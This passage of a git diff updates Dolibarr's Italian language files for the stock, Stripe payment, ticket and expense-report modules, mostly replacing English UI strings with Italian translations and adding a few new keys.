and desired optimal stock correctly deleted AddNewProductStockWarehouse=Set new limit for alert and desired optimal stock -AddStockLocationLine=Decrease quantity then click to split the line +AddStockLocationLine=Riduci la quantità, quindi fai clic per dividere la riga InventoryDate=Inventory date Inventories=Inventari NewInventory=Nuovo inventario @@ -198,7 +200,7 @@ inventorySelectWarehouse=Warehouse choice inventoryConfirmCreate=Crea inventoryOfWarehouse=Inventari del magazzino: %s inventoryErrorQtyAdd=Error: one quantity is less than zero -inventoryMvtStock=By inventory +inventoryMvtStock=Da inventario inventoryWarningProductAlreadyExists=This product is already into list SelectCategory=Filtro categoria SelectFournisseur=Vendor filter @@ -234,7 +236,7 @@ StockIncrease=Aumento scorte StockDecrease=Diminuzione scorte InventoryForASpecificWarehouse=Inventario per un magazzino specifico InventoryForASpecificProduct=Inventario per un prodotto specifico -StockIsRequiredToChooseWhichLotToUse=Le scorte sono necessarie per scegliere quale lotto utilizzare +StockIsRequiredToChooseWhichLotToUse=È necessario uno stock esistente per poter scegliere quale lotto utilizzare ForceTo=Costringere AlwaysShowFullArbo=Visualizza l'albero completo del magazzino sul popup dei collegamenti del magazzino (avvertenza: questo potrebbe diminuire drasticamente le prestazioni) StockAtDatePastDesc=È possibile visualizzare qui lo stock (stock reale) in una determinata data nel passato @@ -254,7 +256,7 @@ ReOpen=Riapri ConfirmFinish=Confermi la chiusura dell'inventario? Questa azione genererà tutti i movimenti di magazzino per aggiornare le quantità reali dei prodotti inserite nell'inventario. ObjectNotFound=%s non trovato MakeMovementsAndClose=Genera movimenti e chiudi -AutofillWithExpected=Fill real quantity with expected quantity +AutofillWithExpected=Riempi la quantità reale con la quantità prevista ShowAllBatchByDefault=Per impostazione predefinita, mostra i dettagli del lotto nella scheda "stock" del prodotto CollapseBatchDetailHelp=È possibile impostare la visualizzazione predefinita dei dettagli del lotto nella configurazione del modulo scorte ErrorWrongBarcodemode=Modalità codice a barre sconosciuto @@ -270,48 +272,48 @@ InventoryStartedShort=Iniziata ErrorOnElementsInventory=Operazione annullata per il seguente motivo: ErrorCantFindCodeInInventory=Impossibile trovare il codice seguente nell'inventario QtyWasAddedToTheScannedBarcode=Successo !! La quantità è stata aggiunta a tutto il codice a barre richiesto. È possibile chiudere lo strumento Scanner. -StockChangeDisabled=Cambio su stock disabilitato +StockChangeDisabled=Cambio stock disabilitato NoWarehouseDefinedForTerminal=Nessun magazzino definito per il terminal -ClearQtys=Clear all quantities -ModuleStockTransferName=Advanced Stock Transfer -ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet -StockTransferNew=New stock transfer -StockTransferList=Stock transfers list -ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? -ConfirmDestock=Decrease of stocks with transfer %s -ConfirmDestockCancel=Cancel decrease of stocks with transfer %s -DestockAllProduct=Decrease of stocks -DestockAllProductCancel=Cancel decrease of stocks -ConfirmAddStock=Increase stocks with transfer %s -ConfirmAddStockCancel=Cancel increase of stocks with transfer %s -AddStockAllProduct=Increase of stocks -AddStockAllProductCancel=Cancel increase of stocks -DatePrevueDepart=Intended date of departure -DateReelleDepart=Real date of departure -DatePrevueArrivee=Intended date of arrival -DateReelleArrivee=Real date of arrival -HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse -HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse -LeadTimeForWarning=Lead time before alert (in days) -TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer -TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer -TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer -StockTransferSheet=Stocks transfer sheet -StockTransferSheetProforma=Proforma stocks transfer sheet -StockTransferDecrementation=Decrease source warehouses -StockTransferIncrementation=Increase destination warehouses -StockTransferDecrementationCancel=Cancel decrease of source warehouses -StockTransferIncrementationCancel=Cancel increase of destination warehouses -StockStransferDecremented=Source warehouses decreased -StockStransferDecrementedCancel=Decrease of source warehouses canceled -StockStransferIncremented=Closed - Stocks transfered -StockStransferIncrementedShort=Stocks transfered -StockStransferIncrementedShortCancel=Increase of destination warehouses canceled -StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry -StockTransferSetup = Stocks Transfer module configuration +ClearQtys=Cancella tutte le quantità +ModuleStockTransferName=Trasferimento azionario avanzato +ModuleStockTransferDesc=Gestione avanzata di Stock Transfer, con generazione di foglio di trasferimento +StockTransferNew=Nuovo trasferimento di azioni +StockTransferList=Elenco trasferimenti di azioni +ConfirmValidateStockTransfer=Sei sicuro di voler convalidare questo trasferimento di azioni con riferimento %s ? +ConfirmDestock=Diminuzione delle scorte con trasferimento %s +ConfirmDestockCancel=Annulla la diminuzione delle scorte con il trasferimento %s +DestockAllProduct=Diminuzione delle scorte +DestockAllProductCancel=Annulla la diminuzione delle scorte +ConfirmAddStock=Aumenta le scorte con il trasferimento %s +ConfirmAddStockCancel=Annulla aumento scorte con trasferimento %s +AddStockAllProduct=Aumento delle scorte +AddStockAllProductCancel=Annulla aumento delle scorte +DatePrevueDepart=Data prevista di partenza +DateReelleDepart=Data di partenza reale +DatePrevueArrivee=Presunta data di arrivo +DateReelleArrivee=Data di arrivo reale +HelpWarehouseStockTransferSource=Se questo warehouse è impostato, solo se stesso ei suoi figli saranno disponibili come warehouse di origine +HelpWarehouseStockTransferDestination=Se questo magazzino è impostato, solo se stesso e i suoi figli saranno disponibili come magazzino di destinazione +LeadTimeForWarning=Lead time prima dell'avviso (in giorni) +TypeContact_stocktransfer_internal_STFROM=Mittente di trasferimento titoli +TypeContact_stocktransfer_internal_STDEST=Destinatario del trasferimento di azioni +TypeContact_stocktransfer_internal_STRESP=Responsabile del trasferimento delle scorte +StockTransferSheet=Foglio trasferimento titoli +StockTransferSheetProforma=Foglio di trasferimento titoli proforma +StockTransferDecrementation=Diminuire i magazzini di origine +StockTransferIncrementation=Aumenta i magazzini di destinazione +StockTransferDecrementationCancel=Annulla la diminuzione dei magazzini di origine +StockTransferIncrementationCancel=Annulla aumento dei magazzini di destinazione +StockStransferDecremented=I magazzini di origine sono diminuiti +StockStransferDecrementedCancel=Diminuzione dei magazzini di origine annullata +StockStransferIncremented=Chiuso - Azioni trasferite +StockStransferIncrementedShort=Azioni trasferite +StockStransferIncrementedShortCancel=Annullato l'aumento dei magazzini di destinazione +StockTransferNoBatchForProduct=Il prodotto %s non utilizza batch, cancella batch in linea e riprova +StockTransferSetup = Configurazione del modulo di trasferimento titoli Settings=Impostazioni -StockTransferSetupPage = Configuration page for stocks transfer module -StockTransferRightRead=Read stocks transfers -StockTransferRightCreateUpdate=Create/Update stocks transfers -StockTransferRightDelete=Delete stocks transfers -BatchNotFound=Lot / serial not found for this product +StockTransferSetupPage = Pagina di configurazione per il modulo di trasferimento titoli +StockTransferRightRead=Leggi i trasferimenti di azioni +StockTransferRightCreateUpdate=Crea/aggiorna i trasferimenti di azioni +StockTransferRightDelete=Elimina i trasferimenti di azioni +BatchNotFound=Lotto/numero di serie non trovato per questo prodotto diff --git a/htdocs/langs/it_IT/stripe.lang b/htdocs/langs/it_IT/stripe.lang index de8144f5037..ca8d10a6cc2 100644 --- a/htdocs/langs/it_IT/stripe.lang +++ b/htdocs/langs/it_IT/stripe.lang @@ -4,7 +4,7 @@ StripeDesc=Offri ai tuoi clienti una pagina di pagamento online per i pagamenti StripeOrCBDoPayment=Paga con carta di credito o Stripe FollowingUrlAreAvailableToMakePayments=Puoi utilizzare i seguenti indirizzi per permettere ai clienti di effettuare pagamenti su Dolibarr PaymentForm=Forma di pagamento -WelcomeOnPaymentPage=Benvenuto sul nostro sistema di pagamento online +WelcomeOnPaymentPage=Benvenuto sulla nostra piattaforma per i pagamenti online ThisScreenAllowsYouToPay=Questa schermata consente di effettuare un pagamento online per %s. ThisIsInformationOnPayment=Informazioni sul pagamento da effettuare ToComplete=Per completare @@ -41,14 +41,15 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook live key ONLINE_PAYMENT_WAREHOUSE=Stock to use for stock decrease when online payment is done
      (TODO When option to decrease stock is done on an action on invoice and the online payment generate itself the invoice ?) StripeLiveEnabled=Stripe live enabled (otherwise test/sandbox mode) StripeImportPayment=Importa pagamenti Stripe -ExampleOfTestCreditCard=Example of credit card for test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Stripe gateways OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca_...) OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca_...) BankAccountForBankTransfer=Conto bancario per il pagamento dei fondi StripeAccount=Stripe account -StripeChargeList=Lista delle spese Stripe -StripeTransactionList=Lista delle transazioni Stripe +StripeChargeList=Elenco addebiti Stripe +StripeTransactionList=Elenco transazioni Stripe StripeCustomerId=ID Cliente Stripe StripePaymentModes=Tipo di pagamento Stripe LocalID=Local ID @@ -61,11 +62,17 @@ DeleteACard=Elimina Carta ConfirmDeleteCard=Sei sicuro che vuoi cancellare questa Carta di Credito/Debito? CreateCustomerOnStripe=Crea cliente su Stripe CreateCardOnStripe=Crea carta su Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Visualizza su Stripe StripeUserAccountForActions=Conto utente da utilizzare per le notifiche e-mail di alcuni eventi Stripe (pagamenti Stripe) -StripePayoutList=Elenco di pagamenti Stripe +StripePayoutList=Elenco pagamenti Stripe ToOfferALinkForTestWebhook=Link to setup Stripe WebHook to call the IPN (test mode) ToOfferALinkForLiveWebhook=Link to setup Stripe WebHook to call the IPN (live mode) PaymentWillBeRecordedForNextPeriod=Payment will be recorded for the next period. ClickHereToTryAgain=Clicca qui per riprovare... CreationOfPaymentModeMustBeDoneFromStripeInterface=A causa delle forti regole di autenticazione del cliente, la creazione di una carta deve essere effettuata dal backoffice di Stripe. È possibile fare clic qui per attivare il record cliente Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/it_IT/ticket.lang b/htdocs/langs/it_IT/ticket.lang index db4e7f87e63..e08f2a68075 100644 --- a/htdocs/langs/it_IT/ticket.lang +++ b/htdocs/langs/it_IT/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modifica tickets Permission56003=Cancella tickets Permission56004=Manage tickets Permission56005=See tickets of all third parties (not effective for external users, always be limited to the third party they depend on) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Ticket - Tipologie TicketDictCategory=Ticket - Gruppi TicketDictSeverity=Ticket - Importanza @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=External contributor OriginEmail=Email giornalista Notify_TICKET_SENTBYMAIL=Send ticket message by email +ExportDataset_ticket_1=Tickets + # Status Read=Da leggere Assigned=Assegnato @@ -90,15 +94,17 @@ TicketPublicAccess=A public interface requiring no identification is available a TicketSetupDictionaries=The type of ticket, severity and analytic codes are configurable from dictionaries TicketParamModule=Module variable setup TicketParamMail=Email setup -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr -TicketEmailNotificationTo=Notify ticket creation to this e-mail address -TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation +TicketEmailNotificationFrom=E-mail del mittente per la notifica sulle risposte +TicketEmailNotificationFromHelp=E-mail mittente da utilizzare per inviare l'e-mail di notifica quando viene fornita una risposta all'interno del backoffice. Ad esempio noreply@example.com +TicketEmailNotificationTo=Segnala la creazione del biglietto a questo indirizzo e-mail +TicketEmailNotificationToHelp=Se presente, a questo indirizzo e-mail verrà notificata la creazione di un biglietto TicketNewEmailBodyLabel=Text message sent after creating a ticket TicketNewEmailBodyHelp=The text specified here will be inserted into the email confirming the creation of a new ticket from the public interface. Information on the consultation of the ticket are automatically added. TicketParamPublicInterface=Public interface setup TicketsEmailMustExist=Require an existing email address to create a ticket TicketsEmailMustExistHelp=Nell'interfaccia pubblica, l'indirizzo email dovrebbe già essere inserito nel database per creare un nuovo ticket +TicketCreateThirdPartyWithContactIfNotExist=Chiedi il nome e il nome dell'azienda per le email sconosciute. +TicketCreateThirdPartyWithContactIfNotExistHelp=Verificare se esiste una terza parte o un contatto per l'e-mail inserita. In caso contrario, chiedi un nome e un nome di società per creare una terza parte con contatto. PublicInterface=Interfaccia pubblica TicketUrlPublicInterfaceLabelAdmin=Alternative URL for public interface TicketUrlPublicInterfaceHelpAdmin=It is possible to define an alias to the web server and thus make available the public interface with another URL (the server must act as a proxy on this new URL) @@ -136,17 +142,19 @@ TicketsPublicNotificationNewMessage=Invia e-mail quando un nuovo messaggio/comme TicketsPublicNotificationNewMessageHelp=Invia e-mail quando si aggiunge un nuovo messaggio dall'interfaccia pubblica (all'utente assegnato o all'e-mail di notifica a (aggiorna) e / o all'e-mail di notifica a) TicketPublicNotificationNewMessageDefaultEmail=Notifiche via email (aggiornamento) TicketPublicNotificationNewMessageDefaultEmailHelp=Invia un'e-mail a questo indirizzo per ogni nuovo messaggio di notifica se al ticket non è assegnato un utente o se l'utente non ha alcuna e-mail nota. -TicketsAutoReadTicket=Automatically mark the ticket as read (when created from backoffice) -TicketsAutoReadTicketHelp=Automatically mark the ticket as read when created from backoffice. When ticket is create from the public interface, ticket remains with the status "Not Read". -TicketsDelayBeforeFirstAnswer=A new ticket should receive a first answer before (hours): -TicketsDelayBeforeFirstAnswerHelp=If a new ticket has not received an answer after this time period (in hours), an important warning icon will be displayed in the list view. -TicketsDelayBetweenAnswers=An unresolved ticket should not be unactive during (hours): -TicketsDelayBetweenAnswersHelp=If an unresolved ticket that has already received an answer has not had further interaction after this time period (in hours), a warning icon will be displayed in the list view. -TicketsAutoNotifyClose=Automatically notify thirdparty when closing a ticket -TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a message to one of thirdparty's contacts. On mass closing, a message will be sent to one contact of the thirdparty linked to the ticket. -TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. -TicketChooseProductCategory=Product category for ticket support -TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketsAutoReadTicket=Contrassegna automaticamente il biglietto come letto (se creato dal backoffice) +TicketsAutoReadTicketHelp=Contrassegna automaticamente il ticket come letto quando viene creato dal backoffice. Quando il ticket viene creato dall'interfaccia pubblica, il ticket rimane con lo stato "Non letto". +TicketsDelayBeforeFirstAnswer=Un nuovo biglietto dovrebbe ricevere una prima risposta prima (ore): +TicketsDelayBeforeFirstAnswerHelp=Se un nuovo ticket non ha ricevuto risposta dopo questo periodo di tempo (in ore), nella visualizzazione elenco verrà visualizzata un'icona di avviso importante. +TicketsDelayBetweenAnswers=Un ticket non risolto non dovrebbe essere inattivo durante (ore): +TicketsDelayBetweenAnswersHelp=Se un ticket non risolto che ha già ricevuto una risposta non ha avuto ulteriori interazioni dopo questo periodo di tempo (in ore), verrà visualizzata un'icona di avviso nella visualizzazione elenco. +TicketsAutoNotifyClose=Avvisa automaticamente la terza parte alla chiusura di un ticket +TicketsAutoNotifyCloseHelp=Alla chiusura di un ticket, ti verrà proposto di inviare un messaggio a uno dei contatti di terze parti. Alla chiusura di massa verrà inviato un messaggio ad un contatto della terza parte collegato al ticket. +TicketWrongContact=Il contatto fornito non fa parte degli attuali contatti del ticket. E-mail non inviata. +TicketChooseProductCategory=Categoria di prodotti per il supporto dei biglietti +TicketChooseProductCategoryHelp=Seleziona la categoria di prodotto del supporto ticket. Questo verrà utilizzato per collegare automaticamente un contratto a un biglietto. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -163,8 +171,8 @@ OrderByDateAsc=Ordina per data crescente OrderByDateDesc=Ordina per data decrescente ShowAsConversation=Mostra come elenco di conversazioni MessageListViewType=Mostra come elenco di tabelle -ConfirmMassTicketClosingSendEmail=Automatically send emails when closing tickets -ConfirmMassTicketClosingSendEmailQuestion=Do you want to notify thirdparties when closing these tickets ? +ConfirmMassTicketClosingSendEmail=Invia automaticamente e-mail alla chiusura dei ticket +ConfirmMassTicketClosingSendEmailQuestion=Vuoi notificare a terzi la chiusura di questi ticket? # # Ticket card @@ -178,7 +186,7 @@ CreatedBy=Creato da NewTicket=Nuovo Ticket SubjectAnswerToTicket=Ticket answer TicketTypeRequest=Request type -TicketCategory=Classificazione dei biglietti +TicketCategory=Ticket group SeeTicket=See ticket TicketMarkedAsRead=Ticket has been marked as read TicketReadOn=Read on @@ -190,8 +198,7 @@ TicketAssigned=Ticket is now assigned TicketChangeType=Change type TicketChangeCategory=Change analytic code TicketChangeSeverity=Cambia gravità -TicketAddMessage=Aggiungi un messaggio -AddMessage=Aggiungi un messaggio +TicketAddMessage=Add private message MessageSuccessfullyAdded=Ticket added TicketMessageSuccessfullyAdded=Messaggio aggiunto con successo TicketMessagesList=Message list @@ -202,8 +209,8 @@ TicketSeverity=Gravità ShowTicket=See ticket RelatedTickets=Ticket correlati TicketAddIntervention=Crea intervento -CloseTicket=Chiudi|Risolvi ticket -AbandonTicket=Abbandonare il biglietto +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Chiudi|Risolvi un ticket ConfirmCloseAticket=Confirm ticket closing ConfirmAbandonTicket=Confermi la chiusura del biglietto allo stato 'Abbandonato' @@ -217,18 +224,17 @@ SendMessageByEmail=Send message by email TicketNewMessage=New message ErrorMailRecipientIsEmptyForSendTicketMessage=Il destinatario è vuoto. Nessuna email inviata TicketGoIntoContactTab=Please go into "Contacts" tab to select them -TicketMessageMailIntro=Introduction +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Questo testo viene aggiunto solo all'inizio dell'email e non verrà salvato -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers -TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      -TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Firma -TicketMessageMailSignatureHelp=This text is added only at the end of the email and will not be saved. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Firma dell'email di risposta -TicketMessageMailSignatureHelpAdmin=Questo testo verrà inserito dopo il messaggio di risposta +TicketMessageMailIntroText=Ciao,
      Una nuova risposta è stata aggiunta a un ticket che segui. Ecco il messaggio:
      +TicketMessageMailIntroHelpAdmin=Questo testo verrà inserito prima della risposta quando si risponde a un ticket di Dolibarr +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Only this text will be saved in the message list on ticket card. TicketMessageSubstitutionReplacedByGenericValues=Substitutions variables are replaced by generic values. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Time elapsed since TicketTimeToRead=Time elapsed before read TicketTimeElapsedBeforeSince=Tempo trascorso prima/da allora @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=A new message was posted on the ticke TicketAssignedToYou=Ticket assegnato TicketAssignedEmailBody=You have been assigned the ticket #%s by %s MarkMessageAsPrivate=Mark message as private +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=This message will not display to external users TicketEmailOriginIssuer=Issuer at origin of the tickets InitialMessage=Initial Message @@ -252,16 +259,16 @@ TicketChangeStatus=Modifica stato TicketConfirmChangeStatus=Confirm the status change: %s ? TicketLogStatusChanged=Status changed: %s to %s TicketNotNotifyTiersAtCreate=Not notify company at create -NotifyThirdpartyOnTicketClosing=Contacts to notify while closing the ticket -TicketNotifyAllTiersAtClose=All related contacts -TicketNotNotifyTiersAtClose=No related contact +NotifyThirdpartyOnTicketClosing=Contatti da avvisare durante la chiusura del ticket +TicketNotifyAllTiersAtClose=Tutti i contatti correlati +TicketNotNotifyTiersAtClose=Nessun contatto correlato Unread=Unread TicketNotCreatedFromPublicInterface=Non disponibile. Il ticket non è stato creato dall'interfaccia pubblica. ErrorTicketRefRequired=È richiesto il nome di riferimento del biglietto -TicketsDelayForFirstResponseTooLong=Too much time elapsed since ticket opening without any answer. -TicketsDelayFromLastResponseTooLong=Too much time elapsed since last answer on this ticket. -TicketNoContractFoundToLink=No contract was found to be automatically linked to this ticket. Please link a contract manually. -TicketManyContractsLinked=Many contracts have been automatically linked to this ticket. Make sure to verify which should be chosen. +TicketsDelayForFirstResponseTooLong=Troppo tempo trascorso dall'apertura del ticket senza alcuna risposta. +TicketsDelayFromLastResponseTooLong=È trascorso troppo tempo dall'ultima risposta su questo ticket. +TicketNoContractFoundToLink=Nessun contratto è stato trovato automaticamente collegato a questo biglietto. Si prega di collegare un contratto manualmente. +TicketManyContractsLinked=Molti contratti sono stati automaticamente collegati a questo biglietto. Assicurati di verificare quale dovrebbe essere scelto. # # Logs @@ -289,12 +296,12 @@ TicketNewEmailBody=Questa email automatica conferma che è stato registrato un n TicketNewEmailBodyCustomer=This is an automatic email to confirm a new ticket has just been created into your account. TicketNewEmailBodyInfosTicket=Informazioni utili per tua richiesta TicketNewEmailBodyInfosTrackId=Numero ID della tua richiesta: %s -TicketNewEmailBodyInfosTrackUrl=You can view the progress of the ticket by clicking the following link +TicketNewEmailBodyInfosTrackUrl=È possibile visualizzare lo stato di avanzamento del ticket cliccando il seguente link TicketNewEmailBodyInfosTrackUrlCustomer=You can view the progress of the ticket in the specific interface by clicking the following link -TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link +TicketCloseEmailBodyInfosTrackUrlCustomer=Puoi consultare lo storico di questo biglietto cliccando il seguente link TicketEmailPleaseDoNotReplyToThisEmail=Please do not reply directly to this email! Use the link to reply into the interface. TicketPublicInfoCreateTicket=Questo modulo consente di registrare un ticket di supporto nel nostro sistema di gestione ticketing. -TicketPublicPleaseBeAccuratelyDescribe=Descrivi il problema dettagliatamente. Fornisci più informazioni possibili per consentirci di identificare la tua richiesta. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Inserisci qui il numero della sua richista ID TicketTrackId=Public Tracking ID OneOfTicketTrackId=One of your tracking ID @@ -313,10 +320,10 @@ NewUser=Nuovo utente NumberOfTicketsByMonth=Numero di ticket per mese NbOfTickets=Number of tickets # notifications -TicketCloseEmailSubjectCustomer=Ticket closed -TicketCloseEmailBodyCustomer=This is an automatic message to notify you that ticket %s has just been closed. -TicketCloseEmailSubjectAdmin=Ticket closed - Réf %s (public ticket ID %s) -TicketCloseEmailBodyAdmin=A ticket with ID #%s has just been closed, see information: +TicketCloseEmailSubjectCustomer=Biglietto chiuso +TicketCloseEmailBodyCustomer=Questo è un messaggio automatico per informarti che il ticket %s è stato appena chiuso. +TicketCloseEmailSubjectAdmin=Biglietto chiuso - Réf %s (ID biglietto pubblico %s) +TicketCloseEmailBodyAdmin=Un ticket con ID #%s è stato appena chiuso, vedi informazioni: TicketNotificationEmailSubject=Ticket %s updated TicketNotificationEmailBody=Questo è un messaggio automatico per confermare che il ticket %s è stato aggiornato TicketNotificationRecipient=Notification recipient diff --git a/htdocs/langs/it_IT/trips.lang b/htdocs/langs/it_IT/trips.lang index 93c1bbfee3f..f65f77b5311 100644 --- a/htdocs/langs/it_IT/trips.lang +++ b/htdocs/langs/it_IT/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips -ShowExpenseReport=Mostra note spese -Trips=Note spese -TripsAndExpenses=Note spese -TripsAndExpensesStatistics=Statistiche note spese -TripCard=Scheda nota spese +AUTHOR=Registrata da +AUTHORPAIEMENT=Pagata da AddTrip=Crea nota spese -ListOfTrips=Lista delle note spese -ListOfFees=Elenco delle tariffe -TypeFees=Tipi di imposte -ShowTrip=Mostra note spese -NewTrip=Nuova nota spese -LastExpenseReports=Ultime %s note spese +AllExpenseReport=All type of expense report AllExpenseReports=Tutte le note spese -CompanyVisited=Azienda / organizzazione visitata -FeesKilometersOrAmout=Tariffa kilometrica o importo -DeleteTrip=Elimina nota spese -ConfirmDeleteTrip=Vuoi davvero eliminare questa nota spese? -ListTripsAndExpenses=Lista delle note spese -ListToApprove=In attesa di approvazione -ExpensesArea=Area note spese +AnyOtherInThisListCanValidate=Persona da informare per la convalida della richiesta. +AttachTheNewLineToTheDocument=Associa la nuova riga ad un documento esistente +AucuneLigne=Non ci sono ancora note spese +BrouillonnerTrip=Riporta la nota spese allo stato di "bozza" +byEX_DAY=per giorno (limitato a %s) +byEX_EXP=by line (limitation to %s) +byEX_MON=by month (limitation to %s) +byEX_YEA=by year (limitation to %s) +CANCEL_USER=Cancellata da +CarCategory=Categoria veicoli ClassifyRefunded=Classifica come "Rimborsata" +CompanyVisited=Azienda / organizzazione visitata +ConfirmBrouillonnerTrip=Vuoi davvero riportare questa nota spese allo stato "bozza"? +ConfirmCancelTrip=Vuoi davvero eliminare questa nota spese? +ConfirmCloneExpenseReport=Vuoi davvero clonare questa nota spese? +ConfirmDeleteTrip=Vuoi davvero eliminare questa nota spese? +ConfirmPaidTrip=Vuoi davvero modificare lo stato di questa nota spese in "liquidata"? +ConfirmRefuseTrip=Vuoi davvero rifiutare questa nota spese? +ConfirmSaveTrip=Vuoi davvero convalidare questa nota spese? +ConfirmValideTrip=Vuoi davvero approvare questa nota spese? +DATE_CANCEL=Eliminata in data +DATE_PAIEMENT=Liquidata in data +DATE_REFUS=Rifiutata in data +DATE_SAVE=Convalidata in data +DefaultCategoryCar=Default transportation mode +DefaultRangeNumber=Default range number +DeleteTrip=Elimina nota spese +ErrorDoubleDeclaration=Hai già inviata una nota spese per il periodo selezionato +Error_EXPENSEREPORT_ADDON_NotDefined=Error, the rule for expense report numbering ref was not defined into setup of module 'Expense Report' +ExpenseRangeOffset=Offset amount: %s +expenseReportCatDisabled=Category disabled - see the c_exp_tax_cat dictionary +expenseReportCoef=Coefficiente +expenseReportCoefUndefined=(Valore non definito) +expenseReportOffset=Scostamento +expenseReportPrintExample=offset + (d x coef) = %s +expenseReportRangeDisabled=Range disabled - see the c_exp_tax_range dictionay +expenseReportRangeFromTo=from %d to %d +expenseReportRangeMoreThan=più di %d +expenseReportTotalForFive=Example with d = 5 +ExpenseReportApplyTo=Applica a +ExpenseReportApproved=Una nota spese è stata approvata +ExpenseReportApprovedMessage=La nota spese %s è stata approvata.
      - Utente: %s
      - Approvata da: %s
      Clicca qui per visualizzare la nota spese: %s +ExpenseReportCanceled=Una nota spese è stata cancellata +ExpenseReportCanceledMessage=La nota spese %s è stata eliminata.
      - Utente: %s
      - Eliminata da: %s
      - Motivazione eliminazione: %s
      Clicca qui per visualizzare la nota spese: %s +ExpenseReportConstraintViolationError=Importo massimo superato (regola %s): %s è maggiore di %s (Superamento vietato) +ExpenseReportConstraintViolationWarning=Importo massimo superato (regola %s): %s è maggiore di %s (Superamento autorizzato) +ExpenseReportDateEnd=Data fine +ExpenseReportDateStart=Data inizio +ExpenseReportDomain=Dominio da applicare +ExpenseReportIkDesc=È possibile modificare il calcolo dei chilometri di spesa per categoria e intervallo che sono stati precedentemente definiti. d è la distanza in Kilometri +ExpenseReportLimitAmount=Importo massimo +ExpenseReportLimitOn=Limit on +ExpenseReportLine=Riga di nota spese +ExpenseReportPaid=Una nota spese è stata pagata +ExpenseReportPaidMessage=La nota spese %s è stata rimborsata.
      - Utente: %s
      - Pagata da: %s
      Clicca qui per visualizzare la nota spese: %s +ExpenseReportPayment=Pagamento nota spese +ExpenseReportRef=Rif. nota spese +ExpenseReportRefused=Una nota spese è stata rifiutata +ExpenseReportRefusedMessage=La nota spese %s è stata rifiutata.
      - Utente: %s
      - Rifiutata da: %s
      - Motivazione del rifiuto: %s
      Clicca qui per visualizzare la nota spese: %s +ExpenseReportRestrictive=Superamento vietato +ExpenseReportRuleErrorOnSave=Error: %s +ExpenseReportRuleSave=Regola note spese salvata +ExpenseReportRulesDesc=È possibile definire regole di importo massimo per le note spese. Queste regole verranno applicate quando una nuova spesa viene aggiunta a una nota spese ExpenseReportWaitingForApproval=È stata inserita una nuova nota spese da approvare ExpenseReportWaitingForApprovalMessage=Una nuova nota spesa è stata inserita ed è in attesa di approvazione.
      - Utente: %s
      - Periodo: %s
      Clicca qui per convalidare: %s ExpenseReportWaitingForReApproval=Una nota spese è stata sottomessa per la pre-approvazione ExpenseReportWaitingForReApprovalMessage=Una nota spese è stata inviata ed è nuovamente in attesa di approvazione. Il %s, hai rifiutato la nota spese per questa motivazione: %s.
      Una nuova versione è stata proposta e attende la tua approvazione.
      - Utente: %s
      - Periodo: %s
      Clicca qui per convalidare: %s -ExpenseReportApproved=Una nota spese è stata approvata -ExpenseReportApprovedMessage=La nota spese %s è stata approvata.
      - Utente: %s
      - Approvata da: %s
      Clicca qui per visualizzare la nota spese: %s -ExpenseReportRefused=Una nota spese è stata rifiutata -ExpenseReportRefusedMessage=La nota spese %s è stata rifiutata.
      - Utente: %s
      - Rifiutata da: %s
      - Motivazione del rifiuto: %s
      Clicca qui per visualizzare la nota spese: %s -ExpenseReportCanceled=Una nota spese è stata cancellata -ExpenseReportCanceledMessage=La nota spese %s è stata eliminata.
      - Utente: %s
      - Eliminata da: %s
